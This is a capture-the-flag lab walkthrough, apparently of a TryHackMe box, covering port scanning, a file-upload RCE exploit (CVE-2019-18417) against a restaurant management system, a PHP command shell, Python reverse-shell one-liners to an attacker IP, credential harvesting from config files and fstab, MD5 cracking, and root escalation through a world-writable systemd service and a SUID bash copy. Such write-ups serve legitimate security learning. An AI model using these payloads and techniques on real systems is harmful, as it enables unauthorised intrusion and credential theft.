Recon to foothold
We begin with masscan
to identify all open ports
rob:~/ $ sudo masscan -p1-65535,U:1-65535 10.10.8.217 --rate=1000 -e tun0
[sudo] password for rob:
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-10-27 14:49:40 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 12340/tcp on 10.10.8.217
Discovered open port 22/tcp on 10.10.8.217
And now nmap
to identify the services on each open port
rob:~/ $ nmap -A -T4 -v -p22,12340 -Pn 10.10.8.217
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-27 15:53 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 15:53
Completed Parallel DNS resolution of 1 host. at 15:53, 0.01s elapsed
Initiating Connect Scan at 15:53
Scanning 10.10.8.217 [2 ports]
Discovered open port 22/tcp on 10.10.8.217
Discovered open port 12340/tcp on 10.10.8.217
Completed Connect Scan at 15:53, 0.01s elapsed (2 total ports)
Initiating Service scan at 15:53
Scanning 2 services on 10.10.8.217
Completed Service scan at 15:53, 11.18s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.8.217.
Initiating NSE at 15:53
Completed NSE at 15:53, 0.67s elapsed
Initiating NSE at 15:53
Completed NSE at 15:53, 0.05s elapsed
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Nmap scan report for 10.10.8.217
Host is up (0.013s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 09:23:62:a2:18:62:83:69:04:40:62:32:97:ff:3c:cd (RSA)
| 256 33:66:35:36:b0:68:06:32:c1:8a:f6:01:bc:43:38:ce (ECDSA)
|_ 256 14:98:e3:84:70:55:e6:60:0c:c2:09:77:f8:b7:a6:1c (ED25519)
12340/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-methods:
| Supported Methods: GET HEAD POST OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: We've got some trouble | 404 - Resource not found
NSE: Script Post-scanning.
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Initiating NSE at 15:53
Completed NSE at 15:53, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.44 seconds
Ok, so we have SSH on port 22, and a web server on port 12340. Let’s enumerate the web server and see what we have
So we get a customized 404 not found page, a quick inspection of this reveals nothing of interests so we can move on. Let’s try some directory busting to see if the web server has any other content on it which we might be able to reach
rob:~/ $ gobuster dir --url http://10.10.8.217:12340 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.8.217:12340
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/10/27 16:08:53 Starting gobuster in directory enumeration mode
===============================================================
/rms (Status: 301) [Size: 237] [--> http://10.10.8.217:12340/rms/]
===============================================================
2021/10/27 16:10:04 Finished
===============================================================
Excellent, we find a /rms
directory which gives us a hotel restaurant booking system
Let’s try registering
We successfully register and now we can log into the site as a regular unprivileged user
Some googling finds us a possible CVE for this software, CVE-2019-18417
Sourcecodester Restaurant Management System 1.0 allows an authenticated attacker to upload arbitrary files that can result in code execution. The issue occurs because the application fails to adequately sanitize user-supplied input, e.g., “add a new food” allows .php file
Following the reference links from MITRE we arrive here
Ok, that’s definitely the software we’re dealing with, let’s try to exploit it. Unfortunately however this exploit turns out to require access to a module we seem not to have, the ability to add new foods
A search on exploit-db however find us another potential exploit
Let’s give it a try, it appears to be utilising an upload form somewhere…
rob:Zeno/ $ python rms-rce.py http://10.10.8.217:12340/rms
File "rms-rce.py", line 40
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0)
Well that’s not good! On a quick look though it turns out just to be some unwanted line breaks inserted through the code (probably when the script was imported to exploit-db). A quick fix later and we can try again
rob:Zeno/ $ python rms-rce.py http://10.10.8.217:12340/rms
_ _ _____ __ __ _____ ______ _ _ _
_| || |_| __ \| \/ |/ ____| | ____| | | (_) |
|_ __ _| |__) | \ / | (___ | |__ __ ___ __ | | ___ _| |_
_| || |_| _ /| |\/| |\___ \ | __| \ \/ / '_ \| |/ _ \| | __|
|_ __ _| | \ \| | | |____) | | |____ > <| |_) | | (_) | | |_
|_||_| |_| \_\_| |_|_____/ |______/_/\_\ .__/|_|\___/|_|\__|
| |
|_|
Credits : All InfoSec (Raja Ji's) Group
[+] Restaurant Management System Exploit, Uploading Shell
[+] Shell Uploaded. Please check the URL : http://10.10.8.217:12340/rmsimages/reverse-shell.php
Ok, that seems successful, let’s check out the given link. Reviewing the code shows the uploaded payload, a familiar php command executor
<?php echo shell_exec($_GET["cmd"]); ?>
Requesting the link then gives us this response
Dangit, let’s see if the exploit requires any more adjustments to fit our purposes … nope, it turns out we simply didn’t terminate the supplied URL with a /
!
rob:Zeno/ $ python rms-rce.py http://10.10.8.217:12340/rms/
_ _ _____ __ __ _____ ______ _ _ _
_| || |_| __ \| \/ |/ ____| | ____| | | (_) |
|_ __ _| |__) | \ / | (___ | |__ __ ___ __ | | ___ _| |_
_| || |_| _ /| |\/| |\___ \ | __| \ \/ / '_ \| |/ _ \| | __|
|_ __ _| | \ \| | | |____) | | |____ > <| |_) | | (_) | | |_
|_||_| |_| \_\_| |_|_____/ |______/_/\_\ .__/|_|\___/|_|\__|
| |
|_|
Credits : All InfoSec (Raja Ji's) Group
[+] Restaurant Management System Exploit, Uploading Shell
[+] Shell Uploaded. Please check the URL : http://10.10.8.217:12340/rms/images/reverse-shell.php
Now when we request the page with a cmd
parameter we get the wished for response
We do a quick check to make sure that python3
is available (cmd=which python3
) and then we send a reverse shell command
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.6.26",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
At our waiting listener we pop a shell! We’re in
rob:Zeno/ $ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.14.6.26] from (UNKNOWN) [10.10.8.217] 57644
bash-4.2$
User apache to user edward
We can do a quick search for files belonging to edward
, hoping to find something out of place
find / -user edward 2>/dev/null
/var/spool/mail/zeno
/var/spool/mail/edward
/home/edward/.ssh/authorized_keys
/mnt/secret-share
Unfortunately none of these contain anything we can make use of, the ‘secret share’ in particular is a disappointment, being totally empty!
Enumerating the web site we find a config file
bash-4.2$ cat /var/www/html/rms/connection/config.php
<?php
define('DB_HOST', 'localhost');
define('DB_USER', 'root');
define('DB_PASSWORD', 'veerUffIrangUfcubyig');
define('DB_DATABASE', 'dbrms');
define('APP_NAME', 'Pathfinder Hotel');
error_reporting(1);
?>
We can have a look in the mysql
database with these creds and see if there are any interesting user details available
bash-4.2$ mysql -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 70
Server version: 5.5.68-MariaDB MariaDB Server
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| dbrms |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.00 sec)
MariaDB [(none)]>
We can see that only the root user is defined, and we already have that password
MariaDB [(none)]> use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mysql]> select host,user,password from user;
+-----------+------+-------------------------------------------+
| host | user | password |
+-----------+------+-------------------------------------------+
| localhost | root | *0D98E25BF3667656CFAFD800B212D3A84EEF5B1F |
| 127.0.0.1 | root | *0D98E25BF3667656CFAFD800B212D3A84EEF5B1F |
| ::1 | root | *0D98E25BF3667656CFAFD800B212D3A84EEF5B1F |
+-----------+------+-------------------------------------------+
3 rows in set (0.00 sec)
From the dbrms
database we can find some user details
MariaDB [dbrms]> select login,passwd from members;
+--------------------------+----------------------------------+
| login | passwd |
+--------------------------+----------------------------------+
| omolewastephen@gmail.com | 81dc9bdb52d04dc20036dbd8313ed055 |
| jsmith@sample.com | 1254737c076cf867dc53d60a0364f38e |
| edward@zeno.com | 6f72ea079fd65aff33a67a3f3618b89c |
| allfun@me.com | 5f4dcc3b5aa765d61d8327deb882cf99 |
+--------------------------+----------------------------------+
4 rows in set (0.00 sec)
Two of the ‘passwords’ (in reality just md5 hashes) are quickly cracked
rob:Zeno/ $ sth -t 81dc9bdb52d04dc20036dbd8313ed055 --no-banner
objs is [<name_that_hash.HashTypeObj.HashType object at 0x7f6188984f40>]
81dc9bdb52d04dc20036dbd8313ed055
Text : 1234
Type : MD5
rob:Zeno/ $ sth -t 1254737c076cf867dc53d60a0364f38e --no-banner
objs is [<name_that_hash.HashTypeObj.HashType object at 0x7fc98d76b1c0>]
1254737c076cf867dc53d60a0364f38e
Text : jsmith123
Type : MD5
But of course the one we want, edward
, does not crack from the usual wordlists
In the /etc/fstab
file we find creds being supplied to permit the mounting of a share, zeno:FrobjoodAdkoonceanJa
We can try this for password reuse on the edward
user
bash-4.2$ su - edward
Password:
Last login: Tue Sep 21 22:37:30 CEST 2021 on pts/0
Last failed login: Wed Oct 27 19:15:21 CEST 2021 on pts/1
There were 2 failed login attempts since the last successful login.
[edward@zeno ~]$
Excellent, we have user edward
! We can quickly grab the flag
[edward@zeno ~]$ cat user.txt
THM{REDACTED}
User edward privesc to root
Let’s check the user’s sudo permissions if any
[edward@zeno ~]$ sudo -l
Matching Defaults entries for edward on zeno:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG
LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE
LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User edward may run the following commands on zeno:
(ALL) NOPASSWD: /usr/sbin/reboot
Ok, that’s interesting, this user has permission to reboot the box. While enumerating earlier we found an interesting service
/etc/systemd/system/zeno-monitoring.service
And a quick check shows us that the service definition file is world-writeable
bash-4.2$ ls -lA /etc/systemd/system/zeno-monitoring.service
-rw-rw-rw-. 1 root root 141 Sep 21 22:24 /etc/systemd/system/zeno-monitoring.service
bash-4.2$ cat zeno-monitoring.service
[Unit]
Description=Zeno monitoring
[Service]
Type=simple
User=root
ExecStart=/root/zeno-monitoring.py
[Install]
WantedBy=multi-user.target
A reboot would result in this service being started up, if we change this file then presumably we may be able to get a root shell… let’s give it a go
[edward@zeno ~]$ vi /etc/systemd/system/zeno-monitoring.service
[edward@zeno system]$ grep ExecStart zeno-monitoring.service
ExecStart=/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.6.26",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
We use our ol' reliable python3 reverse shell script, we know it worked for our initial access so why change now. Finally now we start up a listener and then use our sudo permissions to reboot the box
[edward@zeno system]$ sudo /usr/sbin/reboot
Session terminated, killing shell... ...killed.
bash-4.2$ %
rob:Zeno/ $
It takes a good while, over a minute, to finally kick us out of our shell, and then it’s a patient waiting game… which fails…
rob:Zeno/ $ nc -lvnp 4321
listening on [any] 4321 ...
We try it again with a bash
reverse shell but once more have no success. It seems odd that we don’t get any contact at all from the reverse shell, even a connection that fails immediately would make some sense
Perhaps we can make an SUID shell, that might work
[edward@zeno ~]$ grep ExecStart /etc/systemd/system/zeno-monitoring.service
ExecStart=/bin/bash -c 'cp -p /bin/bash /home/edward/rootshell; chmod +s /home/edward/rootshell'
So now we reboot again and, once the box is accesible once more, we check for our root shell
[edward@zeno ~]$ ls -lA rootshell
-rwsr-sr-x. 1 root root 964536 Apr 1 2020 rootshell
Excellent, we got it!
We can become root now and grab the root flag
[edward@zeno ~]$ ./rootshell -p
rootshell-4.2# cat /root/root.txt
THM{REDACTED}